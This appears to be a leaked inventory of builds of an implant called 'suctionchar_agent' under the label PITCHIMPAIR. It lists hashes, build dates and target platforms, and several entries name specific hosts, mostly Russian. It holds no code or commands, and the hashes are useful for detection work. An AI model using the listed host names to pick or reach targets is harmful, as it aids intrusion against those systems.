[PITCHIMPAIR.12] suctionchar_agent__v__2.0.22.1_x86-linux-fedora7 +7AEA08BB7ADCF83A0CA03E643BEBEBCD5CD397FC Thu Feb 21 22:52:24 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.23.4_sparc-sun-solaris2.9 +7AEA08BB7ADCF83A0CA03E643BEBEBCD5CD397FC Thu Feb 21 22:52:24 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.23.5_sparc-sun-solaris2.10 +3A2E2C6F1DA743D825D322C8015305D8A803E403 Tue Mar 4 17:03:35 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.24.6_x86-linux-fedora4 +05559B3F1D88C8B1CBC20021DB7ED2E278992823 Tue Mar 25 02:18:00 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.11_i386-pc-solaris2.8 +05559B3F1D88C8B1CBC20021DB7ED2E278992823 Tue Mar 25 02:18:00 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.12_i386-pc-solaris2.9 +05559B3F1D88C8B1CBC20021DB7ED2E278992823 Tue Mar 25 02:18:00 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.13_i386-pc-solaris2.10 +3D0AB6BE312183915F4620498CB348F48C0F867F Tue Mar 25 17:59:50 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.14_x86-linux-fedora4 +3D0AB6BE312183915F4620498CB348F48C0F867F Tue Mar 25 17:59:50 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.15_x86-linux-redhat-7.3 +3D0AB6BE312183915F4620498CB348F48C0F867F Tue Mar 25 17:59:50 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.16_x86-linux-mandrake-9.2 +0B7D1F67EF6B2E239B2A4CE8F75B55A43E5EA79E Thu Jun 26 22:49:02 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.17_x86-linux-centos-5.0 +0B7D1F67EF6B2E239B2A4CE8F75B55A43E5EA79E Thu Jun 26 22:49:02 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.18_x86-linux-tilttop-comet.vniitf.ru +0B7D1F67EF6B2E239B2A4CE8F75B55A43E5EA79E Thu Jun 26 22:49:02 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.19_x86-linux-debian-3.0 +0B7D1F67EF6B2E239B2A4CE8F75B55A43E5EA79E Thu Jun 26 22:49:02 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.1_x86-linux-fedora7 +2816C8348348D0548B1DA4A9BEAC3119C076C42F Tue Mar 25 00:20:51 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.22_sparc-sun-solaris2.10 +2816C8348348D0548B1DA4A9BEAC3119C076C42F Tue Mar 25 00:20:51 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.23_sparc-sun-solaris2.9 +05559B3F1D88C8B1CBC20021DB7ED2E278992823 Tue Mar 25 02:18:00 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.24_i386-pc-solaris2.9 +2816C8348348D0548B1DA4A9BEAC3119C076C42F Tue Mar 25 00:20:51 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.25_sparc-sun-solaris2.10 +05559B3F1D88C8B1CBC20021DB7ED2E278992823 Tue Mar 25 02:18:00 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.26_i386-pc-solaris2.10 +0B7D1F67EF6B2E239B2A4CE8F75B55A43E5EA79E Thu Jun 26 22:49:02 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.27_x86-linux-slackware-10.0 +D214EDE2389FDB1EFD2F5715AC2745E02F3AC289 Mon Mar 24 19:47:42 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.2_x86-freebsd-5.3 +0F0242EDD78728F21CCA493C058AC45105D2B989 Mon Mar 24 20:29:40 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.4_x86-freebsd-6.0 +F7675E8A7F7E4323272DDAA670EECE16752AC2A8 Mon Mar 24 21:30:12 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.5_x86-freebsd-6.1 +A93C7EB17047AAC09C0D91FEB1575EF0F714B3A9 Mon Mar 24 21:46:45 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.6_x86-freebsd-6.2 +2816C8348348D0548B1DA4A9BEAC3119C076C42F Tue Mar 25 00:20:51 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.8_sparc-sun-solaris2.8 +2816C8348348D0548B1DA4A9BEAC3119C076C42F Tue Mar 25 00:20:51 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.9_sparc-sun-solaris2.9 +C35B8AE77DAFE3AA9B4E99CCB4EC5B92DD7D9520 Fri Apr 18 00:39:06 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.28.1_x86-freebsd-5.5 +F44218F45595D25E521D2D654A90DD443ED5A25B Wed Jul 16 21:34:44 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.28.2_x86-linux-centos-5.1 +AD45448C1C91DE2AF189FBD210313DD70D8D35B8 Fri Jul 25 18:12:39 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.28.5_x86-linux-fedora1 +0ACD3D36AC17C135148A46C159284FF4B5142392 Tue Sep 2 22:01:29 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.29.1_x86-linux-debian-4.0 +0ACD3D36AC17C135148A46C159284FF4B5142392 Tue Sep 2 22:01:29 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.29.2_x86-linux-tilttop-ns-vega.int.ru +0ACD3D36AC17C135148A46C159284FF4B5142392 Tue Sep 2 22:01:29 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.29.4_x86-linux-fedora7 +0ACD3D36AC17C135148A46C159284FF4B5142392 Tue Sep 2 22:01:29 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.29.5_x86-linux-centos-4.5 +0ACD3D36AC17C135148A46C159284FF4B5142392 Tue Sep 2 22:01:29 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.29.6_x86-linux-fedora6 +0ACD3D36AC17C135148A46C159284FF4B5142392 Tue Sep 2 22:01:29 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.29.8_x86-linux-centos-5.2 +4F68DE4E600CE3A3C21BD311EBBE581E86AACBF8 Mon Oct 6 16:33:57 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.31.10_x86-linux-tilttop-gate-nto2.vniitf.ru +4F68DE4E600CE3A3C21BD311EBBE581E86AACBF8 Mon Oct 6 16:33:57 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.31.1_x86-linux-debian-4.0 +4F68DE4E600CE3A3C21BD311EBBE581E86AACBF8 Mon Oct 6 16:33:57 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.31.2_x86-linux-tilttop-ns-vega.int.ru +4F68DE4E600CE3A3C21BD311EBBE581E86AACBF8 Mon Oct 6 16:33:57 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.31.3_x86-linux-centos-5.2 +4F68DE4E600CE3A3C21BD311EBBE581E86AACBF8 Mon Oct 6 16:33:57 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.31.5_suctionchar_x86_linux_centos_4.5 +4F68DE4E600CE3A3C21BD311EBBE581E86AACBF8 Mon Oct 6 16:33:57 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.31.8_x86-linux-suse-9.3 +4F68DE4E600CE3A3C21BD311EBBE581E86AACBF8 Mon Oct 6 16:33:57 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.31.9_x86-linux-tilttop-ns.snz.ru +E30D840E5B3DDE61A949CFEB8184179613AF3B8A Fri Oct 10 19:10:27 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.32.2_x86-linux-fedora7 +E30D840E5B3DDE61A949CFEB8184179613AF3B8A Fri Oct 10 19:10:27 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.32.3_x86-linux-redhat-7.3 +E30D840E5B3DDE61A949CFEB8184179613AF3B8A Fri Oct 10 19:10:27 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.32.4_x86-linux-redhat-8.0 +E30D840E5B3DDE61A949CFEB8184179613AF3B8A Fri Oct 10 19:10:27 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.32.5_x86-linux-suse-10.0 +A9E256D3A392D72221329719CAB6992DC1F94E20 Wed Jan 7 13:53:38 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.32.7_sparc-sun-solaris2.8 +30690F994EE2F03DE8453E661411B6F54C58098C Wed Jan 7 14:50:30 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.32.8_sparc-sun-solaris2.9 +E727D54E24453A3D836FA7C6307DA4665041457A Wed Jan 7 15:25:35 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.32.9_sparc-sun-solaris2.10 +C1646E1203C94C53B8B193879C23444F3F1488BC Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.35.10_x86-linux-fedora6 +C1646E1203C94C53B8B193879C23444F3F1488BC Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.35.12_x86-linux-tilttop-redhouse.vega-int.ru +C1646E1203C94C53B8B193879C23444F3F1488BC Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.35.13_x86-linux-tilttop-bill.vega-int.ru +C1646E1203C94C53B8B193879C23444F3F1488BC Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.35.1_x86-linux-alt-4.0 +C1646E1203C94C53B8B193879C23444F3F1488BC Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.35.2_x86-linux-ubuntu-7.04 +C1646E1203C94C53B8B193879C23444F3F1488BC Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.35.6_x86-linux-slackware-9.1 +C1646E1203C94C53B8B193879C23444F3F1488BC Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.35.7_x86-linux-centos-5.1 +C1646E1203C94C53B8B193879C23444F3F1488BC Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.35.9_x86-linux-crypticsentinel-mailser +15ECAF3FEB6F4AFF8CBF6E77355F9496F18DD42A Fri Feb 13 15:06:41 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.36.1_x86-linux-fedora3 +15ECAF3FEB6F4AFF8CBF6E77355F9496F18DD42A Fri Feb 13 15:06:41 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.36.2_x86-linux-centos-5.2 +15ECAF3FEB6F4AFF8CBF6E77355F9496F18DD42A Fri Feb 13 15:06:41 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.36.5_x86-linux-centos-4.3 +15ECAF3FEB6F4AFF8CBF6E77355F9496F18DD42A Fri Feb 13 15:06:41 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.36.7_x86-linux-redhat-enterprise-3.0 +ECFD97325BE4C0E25501BBC8988E1AA6997FDC2B Fri Feb 20 15:00:39 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.37.1_suctionchar_x86_linux_fedora5 +ECFD97325BE4C0E25501BBC8988E1AA6997FDC2B Fri Feb 20 15:00:39 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.37.2_suctionchar_x86_linux_tilttop_gammach70.chel.su +ECFD97325BE4C0E25501BBC8988E1AA6997FDC2B Fri Feb 20 15:00:39 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.37.3_x86-linux-redhat-enterprise-4.0 +ECFD97325BE4C0E25501BBC8988E1AA6997FDC2B Fri Feb 20 15:00:39 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.37.4_x86-linux-vinifera-bs003v01 +ECFD97325BE4C0E25501BBC8988E1AA6997FDC2B Fri Feb 20 15:00:39 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.37.5_suctionchar_x86_linux_debian_4.0 +ECFD97325BE4C0E25501BBC8988E1AA6997FDC2B Fri Feb 20 15:00:39 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.37.6_x86-linux-suse-enterprise-9 +ECFD97325BE4C0E25501BBC8988E1AA6997FDC2B Fri Feb 20 15:00:39 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.37.8_x86-linux-debian-3.1 +E8672CFE83C1803A243BC697E941FE91A170D0D3 Fri Feb 27 17:01:03 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.38.1_x86-freebsd-6.1-wickedviper +A5208BB542036E2FA089D95C219CDD9FAF028242 Tue Mar 24 14:23:31 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.39.1_x86-linux-suse-10.3 +A5208BB542036E2FA089D95C219CDD9FAF028242 Tue Mar 24 14:23:31 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.39.2_x86-linux-fedora7 +A5208BB542036E2FA089D95C219CDD9FAF028242 Tue Mar 24 14:23:31 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.39.3_x86-linux-fedora6 +A5208BB542036E2FA089D95C219CDD9FAF028242 Tue Mar 24 14:23:31 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.39.4_x86-linux-slackware-12.0 +E00A119900507B284D63BF0B78C32823B5C8247D Wed Apr 8 01:15:31 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.39.5_sparc-sun-solaris2.8 +607A5A23CB16159F44FCF77331DB4CADB24B349E Thu Apr 9 03:24:15 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.39.6_sparc-sun-solaris2.9 +2EC02310E2B1015199FE9C3F99A630087B545E5C Wed Apr 15 20:19:15 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.39.7_sparc-sun-solaris2.10 +2EC02310E2B1015199FE9C3F99A630087B545E5C Wed Apr 15 20:19:15 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.39.8_sparc-sun-solaris2.10 +A634B13965DD07FA6C3936B5A483E3D0739F3FCF Fri Jan 19 17:53:09 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.4.1_x86-linux-redhat-enterprise-3.0 +A634B13965DD07FA6C3936B5A483E3D0739F3FCF Fri Jan 19 17:53:09 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.4.2_x86-linux-redhat-7.2 +F2DAC937F7A16BD35AAC599F2FC83F4B9369B0AB Wed Jan 24 20:42:53 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.4.3_x86-linux-2.4-tilttop-comet_emx_ns +09017425E3037318F1339A64465B3E024B2AE3B5 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.10_x86-linux-asianux-1.0 +09017425E3037318F1339A64465B3E024B2AE3B5 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.11_x86-linux-suse-10.0 +09017425E3037318F1339A64465B3E024B2AE3B5 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.12_x86-linux-ubuntu-8.04 +09017425E3037318F1339A64465B3E024B2AE3B5 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.13_x86-linux-alt-2.4 +09017425E3037318F1339A64465B3E024B2AE3B5 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.14_x86-linux-redhat-7.2 +09017425E3037318F1339A64465B3E024B2AE3B5 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.15_x86-linux-slackware-11.0 +09017425E3037318F1339A64465B3E024B2AE3B5 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.16_x86-linux-vinifera-bs101v01 +09017425E3037318F1339A64465B3E024B2AE3B5 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.17_x86-linux-redhat-enterprise-4.0 +09017425E3037318F1339A64465B3E024B2AE3B5 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.19_x86-linux-redhat-9.0 +D3CE874DA55CFD6C892E62008CCEC222F22A0670 Wed Jun 10 22:54:56 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.1_x86-linux-centos-4.4 +09017425E3037318F1339A64465B3E024B2AE3B5 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.20_suctionchar_x86_linux_toadyteal_rowdaco.com +09017425E3037318F1339A64465B3E024B2AE3B5 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.21_x86-linux-centos-5.1 +D3CE874DA55CFD6C892E62008CCEC222F22A0670 Wed Jun 10 22:54:56 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.2_x86-linux-centos-4.6 +D3CE874DA55CFD6C892E62008CCEC222F22A0670 Wed Jun 10 22:54:56 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.3_x86-linux-tilttop-gate2 +D3CE874DA55CFD6C892E62008CCEC222F22A0670 Wed Jun 10 22:54:56 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.5_x86-linux-charmshrill-server +849693A57DA43DEC5C3022AFA4020ACA98AB646A Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.6_x86-linux-wolfacid_iq-lunasat-qos +09017425E3037318F1339A64465B3E024B2AE3B5 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.7_x86-linux-fataltouch-srv-udprf-2.udprf.ru +09017425E3037318F1339A64465B3E024B2AE3B5 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.9_x86-linux-suse-10.3 +C43E7BAEAB99B10DC1D1135FAF4715871DAD926C Thu Mar 1 19:10:07 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.5.11_x86-linux-redhat-9.0 +C43E7BAEAB99B10DC1D1135FAF4715871DAD926C Thu Mar 1 19:10:07 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.5.3_x86-linux-fedora4 +6599EBE34956C09EC8FA9B6265AA7324B2F2326D Fri Feb 23 23:21:44 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.5.6_sparc-sun-solaris2.8 +FBA3E4D6374A57ED64597DD8D5E1C329FB0B9004 Mon Feb 26 21:41:37 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.5.9_sparc-sun-solaris2.10 +7C39D60D02DC63C117BB3E78D9BD0B885612B62E Fri Mar 9 17:47:47 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.6.2_x86-linux-fedora2 +7C39D60D02DC63C117BB3E78D9BD0B885612B62E Fri Mar 9 17:47:47 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.6.3_x86-linux-fedora3 +7C39D60D02DC63C117BB3E78D9BD0B885612B62E Fri Mar 9 17:47:47 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.6.4_x86-linux-debian-3.1 +01B29A3AF6B69181BC1278F790E31054EB773AAB Mon Mar 19 19:04:50 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.7.1_x86-linux-vinifera-mail-npost +187ACBEF1B21D215A4541FDF4F9E58CCD955573F Thu Mar 22 16:36:18 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.7.5_x86-linux-tilttop-gate.itec +995FE5E88E127642F4B8B9CED07DABB45FB9C517 Tue Apr 17 00:38:40 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.8.1_i386-pc-solaris2.8 +F4F11054E2813FB743E20EAAF9FD19CC21FB36DA Tue Apr 17 01:15:03 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.8.2_i386-pc-solaris2.9 +662FBC384BBF08E00CA28056E52EC6D1F48ACE93 Wed Apr 18 14:27:02 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.8.3_x86-linux-redhat-7.3 +662FBC384BBF08E00CA28056E52EC6D1F48ACE93 Wed Apr 18 14:27:02 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.8.4_x86-linux-tilttop-gamma.ch70.chel.su +2BBC3032167262035B9FBED2DCDD734659ED87B5 Wed Jun 20 18:28:15 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.8.7_sparc-sun-solaris2.9 +F9C04A07CBFB0D1C82D2FE4ADA2A98A575CD5F04 Thu Jun 21 19:50:30 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.8.8_sparc-sun-solaris2.8 +3130DBB64A50F00D7631B2F6FA645446D30BB9C1 Thu Jun 14 15:52:56 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.9.1_x86-linux-tilttop-tormoz.vniitf.ru +79035643EB4C3E5264EA0B653E8CB923CD1FAB0B Fri Jun 22 13:10:20 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.9.4_x86-linux-suse-10.0 +09899023ECC614D4E4004DF090C9AA48EC1D2C3D Thu Jul 5 14:55:42 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.9.6_x86-linux-tilttop-ns.snz.ru +B148CB3CE4620F72B53076ECC71C2E34C7422AE2 Fri Jul 6 14:53:48 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.9.7_x86-linux-fedora3 +0FC8260D3697F78E4C1F6F7F506A23B00396FE9E Wed Sep 23 20:03:30 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.1.10_sparc-sun-solaris2.9 +A24B6C548057F9990BCF3040B0457F5894BA3A23 Tue Oct 6 21:28:57 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.1.11_x86-linux-centos-4.7 +A24B6C548057F9990BCF3040B0457F5894BA3A23 Tue Oct 6 21:28:57 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.1.12_x86-linux-asianux-1.0 +A24B6C548057F9990BCF3040B0457F5894BA3A23 Tue Oct 6 21:28:57 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.1.13_x86-linux-slackware-10.1 +0FC8260D3697F78E4C1F6F7F506A23B00396FE9E Wed Sep 23 20:03:30 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.1.14_sparc-sun-solaris2.9 +A24B6C548057F9990BCF3040B0457F5894BA3A23 Tue Oct 6 21:28:57 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.1.15_x86-linux-ubuntu-8.04 +32CFB33DD03CFDC904318260661C0E0D7899EEC5 Wed Sep 23 19:57:13 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.1.2_sparc-sun-solaris2.8 +0FC8260D3697F78E4C1F6F7F506A23B00396FE9E Wed Sep 23 20:03:30 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.1.3_sparc-sun-solaris2.9 +125ACBFC555315AB0E6E362F492BBC2F61FBE47A Wed Sep 23 20:07:19 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.1.4_sparc-sun-solaris2.10 +A24B6C548057F9990BCF3040B0457F5894BA3A23 Tue Oct 6 21:28:57 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.1.5_x86-linux-suse-enterprise-9 +A24B6C548057F9990BCF3040B0457F5894BA3A23 Tue Oct 6 21:28:57 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.1.7_x86-linux-centos-5.3 +A24B6C548057F9990BCF3040B0457F5894BA3A23 Tue Oct 6 21:28:57 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.1.8_x86-linux-debian-4.0 +A24B6C548057F9990BCF3040B0457F5894BA3A23 Tue Oct 6 21:28:57 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.1.9_x86-linux-centos-5.2 +F7633DE9B723FC0A96E853010D4536550C8000D7 Tue Oct 13 17:02:57 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.2.4_x86-linux-fedora9 +68D3D32AD9381DC094BF0E4B06C2DF76F4573100 Wed Oct 14 19:22:13 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.3.1_x86-linux-debian-5.0 +68D3D32AD9381DC094BF0E4B06C2DF76F4573100 Wed Oct 14 19:22:13 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.3.3_x86-linux-fedora8 +25B59C21A7338B38B635E5399CBB9E5DA31BD566 Mon Oct 19 20:16:47 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.4.3_x86-linux-redhat-7.3 +25B59C21A7338B38B635E5399CBB9E5DA31BD566 Mon Oct 19 20:16:47 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.4.5_x86-linux-suse-enterprise-9 +DB04F06428D507C788458BF3849E871B9DB65E8A Thu Nov 5 17:30:13 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.7.1_x86_64-linux-redhat-enterprise-4.0 +DB04F06428D507C788458BF3849E871B9DB65E8A Thu Nov 5 17:30:13 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.7.4_x86_64-linux-redhat-enterprise-5.0 +809D755F0D586F02DBF960BAB4A2712E4ED27462 Mon Nov 9 23:58:28 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.8.1_x86-linux-fedora10 +F1050A6C69912F135F9E4E0E83C97980C01C1035 Wed Dec 30 23:01:00 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.11_x86_64-linux-redhat-enterprise-5.0 +FDB4593E10689AAAC44F9D9B9B1C8A7BDDF1DF85 Wed Dec 30 23:35:45 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.12_x86-linux-fedora10 +29FF9A25D92096E53F97800DAE6443C45C1F0CF0 Wed Dec 30 23:41:10 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.13_x86-linux-fedora9 +3FA620C697A46CEC6D5949B54D045B4F95A087A5 Wed Dec 30 23:46:41 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.14_x86-linux-fedora8 +C1EA4624AD4491D4B40E821FAC46F1E09694E9C9 Wed Dec 30 23:57:16 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.16_x86-linux-debian-4.0 +A8CB7EFD27DC25517DE8A39E2837C6C13DE060E6 Thu Dec 31 00:02:37 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.17_x86-linux-debian-5.0 +72F93EB5F15FA693B5B49E1E464FECF94C2CB679 Thu Dec 31 00:20:02 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.19_x86-linux-suse-enterprise-9 +F1847722BCB7FE67B6F9D951EBBCC870F8392B70 Fri Jan 8 22:16:55 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.20_x86-linux-asianux-1.0 +AC4B54567682DE1C09B4A173E67993E1A83CAC31 Fri Jan 8 22:27:23 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.22_x86-linux-slackware-10.1 +4E12A9E1183CC8500FDE3259265E0D66F63BBEE4 Fri Jan 8 22:38:48 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.23_x86-linux-slackware-11.0 +B95AF1EA3C6FAC1D54CA65BE9C23C91024CDD7E4 Fri Jan 8 21:30:21 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.25_x86-linux-suse-10.1 +4D61815D4E0E2811256E225F6B1642F550199FC4 Mon Jan 11 20:41:02 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.26_x86_64-linux-centos-5.1 +23E58B7F127629BDFA8D9D74CD6DF14783C56CED Fri Jan 8 21:37:57 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.27_x86-linux-suse-10.2 +4D61815D4E0E2811256E225F6B1642F550199FC4 Mon Jan 11 20:41:02 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.28_x86_64-linux-redhat-enterprise-5.0 +EDF62CCD16B1BDD815B613080E26ABB070F78457 Wed Dec 30 22:43:24 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.29_x86_64-linux-centos-5.2 +DA3F63AAFB114C302F14F787AF784189AAE35889 Wed Dec 30 22:12:48 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.2_sparc-sun-solaris2.8 +AD21BAA18F27E0FDBB4ABADCA4FA05BDB24EF8DB Wed Jan 20 23:08:55 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.30_x86-linux-suse-9.3 +CEE84FE860585C6979C308BBB6F8F0AD5AF4BB2F Wed Dec 30 22:18:10 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.3_sparc-sun-solaris2.9 +E441D215673BDB4DF1E5E246CB71A293419DBB5A Wed Dec 30 22:27:08 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.5_x86-linux-centos-4.7 +23C928FBCFA21A2B5650FDB6D5B033C9ED7C3DBC Wed Dec 30 22:32:50 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.6_x86-linux-centos-5.2 +579F168C116B641EE3DE2EBA01FFBAD1FA016D37 Wed Dec 30 22:37:25 2009 [PITCHIMPAIR.12] 